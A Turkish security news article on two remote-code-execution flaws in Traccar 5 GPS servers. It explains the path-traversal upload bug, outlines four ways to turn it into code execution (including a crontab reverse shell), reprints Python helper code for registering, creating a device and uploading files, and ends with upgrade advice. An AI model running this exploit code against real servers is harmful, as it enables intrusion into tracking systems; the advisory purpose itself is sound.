Traccar GPS’de iki kritik güvenlik açığı keşfedildi. Bu güvenlik açıkları, CVE-2024-31214 ve CVE-2024-24809, kimliği doğrulanmamış saldırganların Traccar 5 çalıştıran sistemlerde uzaktan kod yürütmesine izin veriyor.
Bu makalede, bu güvenlik açıklarının doğası, potansiyel etkileri ve kullanıcıların kendilerini korumak için atabilecekleri adımlar ele alınmaktadır.
Traccar’ı ve Güvenlik Açıklarını Anlamak
Traccar, kişisel ve filo yönetimi amaçlarıyla ünlü, yaygın olarak kullanılan açık kaynaklı bir GPS izleme sistemidir. Java tabanlı olan ve web sunucusu olarak Jetty’yi kullanan sistem, kullanıcıların cihazları izleme için kaydetmelerini sağlar. Bu cihazlar konumlarını çeşitli protokoller kullanarak Traccar sunucusuna iletir.
Horizon3 raporuna göre, güvenlik açıkları Traccar 5.1’de tanıtılan cihaz görüntü dosyası yükleme özelliğinden kaynaklanıyor. Sorunlar, uzaktan kod çalıştırmak için manipüle edilebilen cihaz görüntü yüklemelerinin işlenmesinde yatıyor.
Güvenlik Açığı Ayrıntıları
Bu güvenlik açıkları, saldırganların iki temel değişkeni manipüle ederek cihaz görüntüsü yükleme API’sini istismar etmelerine olanak sağlıyor:
- Aygıt Benzersiz Kimliği: Bu, ../ gibi yol geçiş dizileri kullanılarak istismar edilebilir ve saldırganların dosya sistemindeki herhangi bir yere dosya yerleştirmesine olanak tanır.
- İçerik Türü Başlığı: Bu başlığı değiştirerek saldırganlar, device.html adlı bir dosya oluşturmak gibi keyfi dosya uzantıları ayarlayabilir. Bu manipülasyonlar yetkisiz dosya yerleşimine yol açarak uzaktan kod yürütülmesini kolaylaştırabilir.
Are You From SOC/DFIR Teams? - Try Advanced Malware and Phishing Analysis With ANY.RUN -14-day free trial
Sömürü Yöntemleri
Yöntem 1: Crontab Dosyasını Yükleme
Red Hat tabanlı Linux sistemlerinde saldırganlar uzaktan kod yürütmeyi başarmak için bir crontab dosyası yükleyebilirler.
Bu yöntem, saldırganın ana bilgisayarında ters bir kabukla sonuçlanan bir crontab dosyasını yüklemek için Content-Type başlığındaki yol geçişini istismar etmeyi içerir. Ancak, dosya adı kısıtlamaları nedeniyle, bu yöntem Debian/Ubuntu sistemlerinde etkili değildir.
from argparse import ArgumentParser
import requests
import sys
import secrets
def register(url) -> tuple:
registration_url = f'{url}/api/users'
username = secrets.token_hex(16)
email = f'{username}@example.org'
password = secrets.token_hex(32)
user_dict = { 'name': username, 'email': email, 'password': password, 'totpKey': None}
r = requests.post(registration_url, json=user_dict, verify=False, timeout=10)
id = r.json()['id']
print(f'Created user id {id} with email {email} and password {password}')
return (email, password)
def login(url, email, password) -> requests.Session:
session = requests.Session()
login_url = f'{url}/api/session'
r = session.post(login_url, data = {'email': email, 'password': password}, verify=False, timeout=10)
r.json()['id'] # got expected login response
print(f'Logged in')
return session
def create_device(url, session):
device_url = f'{url}/api/devices'
device_name = secrets.token_hex(12)
unique_id = device_name
r = session.post(device_url, json={'name': device_name, 'uniqueId': unique_id}, verify=False, timeout=10)
device_id = r.json()['id']
print(f'Created device {device_id} with unique id {unique_id}')
return (device_id, device_name, unique_id)
def upload(url, session, device_id, content_type, data_bytes):
upload_url = f'{url}/api/devices/{device_id}/image'
headers = {
'Content-Type': content_type
}
r = session.post(upload_url, headers=headers, data=data_bytes, verify=False, timeout=10)
if r.status_code == 200:
return r.text
else:
print(f'Upload failed, maybe Windows?: {r.status_code}: {r.text}')
sys.exit(1)
Yöntem 2: Bir Çekirdek Modülü Yükleme
Bu yöntem, ana bilgisayara giriş yapmak veya yeniden başlatmak gibi bazı kullanıcı etkileşimleri gerektirir. Saldırganlar, diske belirli dosyaları bırakarak, başlangıçta bir çekirdek modülünü çalıştırabilir ve uzaktan kod yürütmeyi başarabilir.
Yöntem 3: Bir udevd Kuralı Oluşturma
Saldırganlar /etc/udevd/rules.d klasörüne bir dosya bırakabilir. Sistem yeniden başlatıldığında, udevd hizmeti dosyadaki komutları yürütür ve bu da uzaktan kod yürütülmesine yol açar.
Yöntem 4: Windows Kısayol Dosyasını Yükleme
Windows sistemlerinde saldırganlar, StartUp klasörüne kötü amaçlı bir kısayol dosyası yerleştirerek, bir kullanıcı savunmasız Traccar ana bilgisayarında oturum açtığında komutları yürütebilir.
Kullanıcılar, Traccar sürümlerinin savunmasız olup olmadığını /api/server uç noktasına bir ağ isteği göndererek belirleyebilirler. Kayıt ayarı doğruysa, sistem saldırıya açıktır.
Bunu düzeltmek için kullanıcılar Traccar 6’ya yükseltmeli veya kayıt ayarını devre dışı bırakmalıdır. Dikkatli olun, tehlikeye atılan sistemler oturum açma veya yeniden başlatma sırasında gizli istismar yüklerini tetikleyebilir.
Traccar 5’teki bu güvenlik açıklarının keşfi, düzenli yazılım güncellemelerinin ve güvenlik denetimlerinin önemini vurgulamaktadır. Kullanıcılar Traccar 6’ya yükselterek kendilerini olası istismarlardan koruyabilir ve GPS izleme sistemlerinin güvenliğini sağlayabilirler.
Traccar 6’da uygulanan değişiklikler, varsayılan olarak kendi kendini kaydetmeyi devre dışı bırakma gibi, kimliği doğrulanmamış saldırganlar için saldırı yüzeyini önemli ölçüde azaltıyor ve bu yaygın olarak kullanılan platformun güvenliğini sağlamada önemli bir adım teşkil ediyor.
Protect Your Business with Cynet Managed All-in-One Cybersecurity Platform – Try Free Trial